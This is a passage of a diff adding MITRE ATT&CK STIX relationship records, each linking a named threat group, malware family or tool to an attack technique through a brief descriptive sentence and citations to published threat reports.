"relationship", + "target_ref": "attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643", + "description": "[Equation](https://attack.mitre.org/groups/G0020) has used tools with the functionality to search for specific information about the attached hard drive that could be used to identify and overwrite the firmware.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.055Z", + "id": "relationship--062ebca3-abf7-449a-ad84-f04a3cada4dd", + "source_ref": "intrusion-set--96e239be-ad99-49eb-b127-3007b8c1bec9", + "modified": "2019-01-31T18:38:24.511Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, February). Equation Group: Questions and Answers. Retrieved December 21, 2015.", + "source_name": "Kaspersky Equation QA", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064459/Equation_group_questions_and_answers.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) uses the command-line interface.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--39791d22-fec7-4459-8321-c9aa824d5fc1", + "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90", + "modified": "2019-03-22T19:57:37.368Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Secureworks BRONZE BUTLER Oct 2017", + "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.", + "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[Hi-Zor](https://attack.mitre.org/software/S0087) communicates with its C2 server over HTTPS.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--27a64a3a-62cb-4c1b-adfc-5070e2f1e744", + "source_ref": "malware--5967cc93-57c9-404a-8ffd-097edfa7bdfc", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Fidelis Cybersecurity. (2015, December 16). Fidelis Threat Advisory #1020: Dissecting the Malware Involved in the INOCNATION Campaign. Retrieved March 24, 2016.", + "source_name": "Fidelis INOCNATION", + "url": "https://www.fidelissecurity.com/sites/default/files/FTA_1020_Fidelis_Inocnation_FINAL_0.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "A [RedLeaves](https://attack.mitre.org/software/S0153) configuration file is encrypted with a simple XOR key, 0x53.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--6610332d-86a5-46dc-a0a1-31c2fe31f164", + "source_ref": "malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", + "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--830c9528-df21-472c-8c14-a036bf17d665", + "description": "[KARAE](https://attack.mitre.org/software/S0215) can use public cloud-based storage providers for command and control.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--c2178e88-74c3-4bc6-b8c5-f6bbc95fc65a", + "source_ref": "malware--3c02fb1f-cbdb-48f5-abaf-8c81d6e0c322", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", + "source_name": "FireEye APT37 Feb 2018", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "description": "[APT29](https://attack.mitre.org/groups/G0016) used named and hijacked scheduled tasks to establish persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.049Z", + "id": "relationship--4a0887ab-3ec3-436a-b378-6e28847dfb1e", + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "modified": "2019-07-25T14:25:53.354Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Dunwoody, M. and Carr, N.. (2016, September 27). No Easy Breach DerbyCon 2016. Retrieved October 4, 2016.", + "source_name": "Mandiant No Easy Breach", + "url": "http://www.slideshare.net/MatthewDunwoody1/no-easy-breach-derby-con-2016" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", + "description": "[MoonWind](https://attack.mitre.org/software/S0149) obtains the victim username.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--818a401d-dd4d-426a-b89c-d33625380b8b", + "source_ref": "malware--9ea525fa-b0a9-4dde-84f2-bcea0137b3c1", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Miller-Osborn, J. and Grunzweig, J.. (2017, March 30). Trochilus and New MoonWind RATs Used In Attack Against Thai Organizations. Retrieved March 30, 2017.", + "source_name": "Palo Alto MoonWind March 2017", + "url": "http://researchcenter.paloaltonetworks.com/2017/03/unit42-trochilus-rat-new-moonwind-rat-used-attack-thai-utility-organizations/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", + "description": "A module in [Prikormka](https://attack.mitre.org/software/S0113) collects information from the victim about the current user name.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--fce2d07b-7bc7-497a-b21a-75a23fbccf50", + "source_ref": "malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69", + "modified": "2019-07-26T20:45:14.743Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cherepanov, A.. (2016, May 17). Operation Groundbait: Analysis of a surveillance toolkit. Retrieved May 18, 2016.", + "source_name": "ESET Operation Groundbait", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/05/Operation-Groundbait.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--5c6ed2dc-37f4-40ea-b2e1-4c76140a388c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--5b5f2424-ff4e-43ab-a08f-fab2b284041d", + "source_ref": "intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826", + "modified": "2019-03-22T20:21:57.788Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye Fin8 May 2016", + "description": "Kizhakkinan, D. et al.. (2016, May 11). Threat Actor Leverages Windows Zero-day Exploit in Payment Card Data Attacks. Retrieved February 12, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2016/05/windows-zero-day-payment-cards.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "description": "[Brave Prince](https://attack.mitre.org/software/S0252) lists the running processes.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--2d1beee9-0b61-4e66-9487-97f1665bbedc", + "source_ref": "malware--28b97733-ef07-4414-aaa5-df50b2d30cc5", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims\u2019 Systems. Retrieved June 6, 2018.", + "source_name": "McAfee Gold Dragon", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--99709758-2b96-48f2-a68a-ad7fbd828091", + "description": "Some [Lazarus Group](https://attack.mitre.org/groups/G0032) malware uses multiple channels for C2, such as RomeoWhiskey-Two, which consists of a RAT channel that parses data in datagram form and a Proxy channel that forms virtual point-to-point sessions.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.068Z", + "id": "relationship--7e221899-d90a-4c9a-8ea4-77110c45f0f9", + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "modified": "2019-09-09T19:15:45.673Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Novetta Blockbuster", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.", + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf" + }, + { + "source_name": "Novetta Blockbuster RATs", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Remote Administration Tools & Content Staging Malware Report. Retrieved March 16, 2016.", + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-RAT-and-Staging-Report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e", + "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) used SMB over ports 445 or 139 for C2. The group also established encrypted connections over port 443.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--a5dda6bc-4697-4e2e-8207-85e9f0d05d43", + "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71", + "modified": "2019-03-22T20:13:49.670Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.", + "source_name": "US-CERT TA18-074A", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A" + }, + { + "source_name": "US-CERT APT Energy Oct 2017", + "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.", + "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--20138b9d-1aac-4a26-8654-a36b6bbf2bba", + "description": "[FIN8](https://attack.mitre.org/groups/G0061) has distributed targeted emails containing links to malicious documents with embedded macros.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--52e319bc-d6ee-4ab5-a3ae-36f0477cac67", + "source_ref": "intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826", + "modified": "2019-03-22T20:21:57.786Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye Know Your Enemy FIN8 Aug 2016", + "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.", + "url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "description": "[More_eggs](https://attack.mitre.org/software/S0284) has the capability to gather the IP address from the victim's machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--a68efc4c-4e5d-448a-8df4-2cf1980e716e", + "source_ref": "malware--bfd2738c-8b43-43c3-bc9f-d523c8e88bf4", + "modified": "2019-09-16T19:41:10.245Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.", + "source_name": "Talos Cobalt Group July 2018", + "url": "https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077", + "description": "[InvisiMole](https://attack.mitre.org/software/S0260) gathers the local system time from the victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--e0292b89-50c2-4b62-8471-6a1b27dc7fc3", + "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Hromcov\u00e1, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.", + "source_name": "ESET InvisiMole June 2018", + "url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643", + "description": "[MoonWind](https://attack.mitre.org/software/S0149) obtains the number of removable drives from the victim.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--5cceffd9-5818-4481-bce6-4e326548d6b4", + "source_ref": "malware--9ea525fa-b0a9-4dde-84f2-bcea0137b3c1", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Miller-Osborn, J. and Grunzweig, J.. (2017, March 30). Trochilus and New MoonWind RATs Used In Attack Against Thai Organizations. Retrieved March 30, 2017.", + "source_name": "Palo Alto MoonWind March 2017", + "url": "http://researchcenter.paloaltonetworks.com/2017/03/unit42-trochilus-rat-new-moonwind-rat-used-attack-thai-utility-organizations/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[POWERSTATS](https://attack.mitre.org/software/S0223) can retrieve and execute additional [PowerShell](https://attack.mitre.org/techniques/T1086) payloads from the C2 server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--ce7b27ac-fff6-4d3c-bceb-50c16f462552", + "source_ref": "malware--e8545794-b98c-492b-a5b3-4b5a02682e37", + "modified": "2019-04-22T22:36:53.151Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye MuddyWater Mar 2018", + "description": "Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ba8e391f-14b5-496f-81f2-2d5ecd646c1c", + "description": "[Proton](https://attack.mitre.org/software/S0279) gathers credentials in files for 1password, and keychains.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--a95c8f0a-a7ba-4af0-b3ac-5abaf44ff563", + "source_ref": "malware--c541efb4-e7b1-4ad6-9da8-b4e113f5dd42", + "modified": "2019-06-24T19:03:52.683Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "objsee mac malware 2017", + "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.", + "url": "https://objective-see.com/blog/blog_0x25.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44", + "description": "[Proton](https://attack.mitre.org/software/S0279) uses macOS' .command file type to script actions.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--ee998ebb-2960-45db-bced-7c8081dfc030", + "source_ref": "malware--c541efb4-e7b1-4ad6-9da8-b4e113f5dd42", + "modified": "2019-06-24T19:03:52.715Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "objsee mac malware 2017", + "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.", + "url": "https://objective-see.com/blog/blog_0x25.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "description": "[MoonWind](https://attack.mitre.org/software/S0149) can delete itself or specified files.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--761edf58-baad-4626-acca-a137c251b0e6", + "source_ref": "malware--9ea525fa-b0a9-4dde-84f2-bcea0137b3c1", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Miller-Osborn, J. and Grunzweig, J.. (2017, March 30). Trochilus and New MoonWind RATs Used In Attack Against Thai Organizations. Retrieved March 30, 2017.", + "source_name": "Palo Alto MoonWind March 2017", + "url": "http://researchcenter.paloaltonetworks.com/2017/03/unit42-trochilus-rat-new-moonwind-rat-used-attack-thai-utility-organizations/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "description": "A module in [Prikormka](https://attack.mitre.org/software/S0113) collects passwords stored in applications installed on the victim.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--5c84cfe2-a395-47c6-831a-4491f8585a00", + "source_ref": "malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69", + "modified": "2019-07-26T20:45:14.764Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cherepanov, A.. (2016, May 17). Operation Groundbait: Analysis of a surveillance toolkit. Retrieved May 18, 2016.", + "source_name": "ESET Operation Groundbait", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/05/Operation-Groundbait.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790", + "description": "[PlugX](https://attack.mitre.org/software/S0013) can be added as a service to establish persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--ce42140b-f801-40da-8185-105a9b1a915a", + "source_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd", + "modified": "2019-04-19T15:08:16.007Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Lastline PlugX Analysis", + "description": "Vasilenko, R. (2013, December 17). An Analysis of PlugX Malware. Retrieved November 24, 2015.", + "url": "http://labs.lastline.com/an-analysis-of-plugx" + }, + { + "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + }, + { + "source_name": "FireEye APT10 April 2017", + "description": "FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html" + }, + { + "source_name": "Proofpoint ZeroT Feb 2017", + "description": "Huss, D., et al. (2017, February 2). Oops, they did it again: APT Targets Russia and Belarus with ZeroT and PlugX. Retrieved April 5, 2018.", + "url": "https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735", + "description": "[Remsec](https://attack.mitre.org/software/S0125) can ping or traceroute a remote host.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--51742efe-5f0c-4fbf-9eb7-5e765a0a408f", + "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Technical Analysis. Retrieved August 17, 2016.", + "source_name": "Kaspersky ProjectSauron Technical Analysis", + "url": "https://securelist.com/files/2016/07/The-ProjectSauron-APT_Technical_Analysis_KL.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896", + "description": "[PowerSploit](https://attack.mitre.org/software/S0194) contains a collection of Privesc-PowerUp modules that can query Registry keys for potential opportunities.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--312c929a-abf6-44c1-95d6-6dde60c7a3fe", + "source_ref": "tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d", + "modified": "2019-04-24T23:43:08.263Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "GitHub PowerSploit May 2012", + "description": "PowerShellMafia. (2012, May 26). PowerSploit - A PowerShell Post-Exploitation Framework. Retrieved February 6, 2018.", + "url": "https://github.com/PowerShellMafia/PowerSploit" + }, + { + "source_name": "PowerSploit Documentation", + "description": "PowerSploit. (n.d.). PowerSploit. Retrieved February 6, 2018.", + "url": "http://powersploit.readthedocs.io" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f", + "description": "[VERMIN](https://attack.mitre.org/software/S0257) collects data stored in the clipboard.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--5070c502-1f3b-4e8c-8eb5-2ea5379fd8f4", + "source_ref": "malware--5189f018-fea2-45d7-b0ed-23f9ee0a46f3", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Lancaster, T., Cortes, J. (2018, January 29). VERMIN: Quasar RAT and Custom Malware Used In Ukraine. Retrieved July 5, 2018.", + "source_name": "Unit 42 VERMIN Jan 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-vermin-quasar-rat-custom-malware-used-ukraine/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "description": "[VERMIN](https://attack.mitre.org/software/S0257) gathers the local IP address.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--0829e860-9ea0-43c9-8bfd-55b4236d67af", + "source_ref": "malware--5189f018-fea2-45d7-b0ed-23f9ee0a46f3", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Lancaster, T., Cortes, J. (2018, January 29). VERMIN: Quasar RAT and Custom Malware Used In Ukraine. Retrieved July 5, 2018.", + "source_name": "Unit 42 VERMIN Jan 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-vermin-quasar-rat-custom-malware-used-ukraine/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b", + "description": "[MoonWind](https://attack.mitre.org/software/S0149) completes network communication via raw sockets.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--51c5e624-d08e-4750-91f9-fdc98ec56552", + "source_ref": "malware--9ea525fa-b0a9-4dde-84f2-bcea0137b3c1", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Miller-Osborn, J. and Grunzweig, J.. (2017, March 30). Trochilus and New MoonWind RATs Used In Attack Against Thai Organizations. Retrieved March 30, 2017.", + "source_name": "Palo Alto MoonWind March 2017", + "url": "http://researchcenter.paloaltonetworks.com/2017/03/unit42-trochilus-rat-new-moonwind-rat-used-attack-thai-utility-organizations/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", + "description": "[Rover](https://attack.mitre.org/software/S0090) searches for files on local drives based on a predefined list of file extensions.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--7c792d18-25a3-4d85-be44-93523228748c", + "source_ref": "malware--6b616fc1-1505-48e3-8b2c-0d19337bff38", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Ray, V., Hayashi, K. (2016, February 29). New Malware \u2018Rover\u2019 Targets Indian Ambassador to Afghanistan. Retrieved February 29, 2016.", + "source_name": "Palo Alto Rover", + "url": "http://researchcenter.paloaltonetworks.com/2016/02/new-malware-rover-targets-indian-ambassador-to-afghanistan/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[RunningRAT](https://attack.mitre.org/software/S0253) gathers the OS version, logical drives information, processor information, and volume information.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--b1c307de-b924-4332-b8db-3c371e46430e", + "source_ref": "malware--60d50676-459a-47dd-92e9-a827a9fe9c58", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims\u2019 Systems. Retrieved June 6, 2018.", + "source_name": "McAfee Gold Dragon", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[Smoke 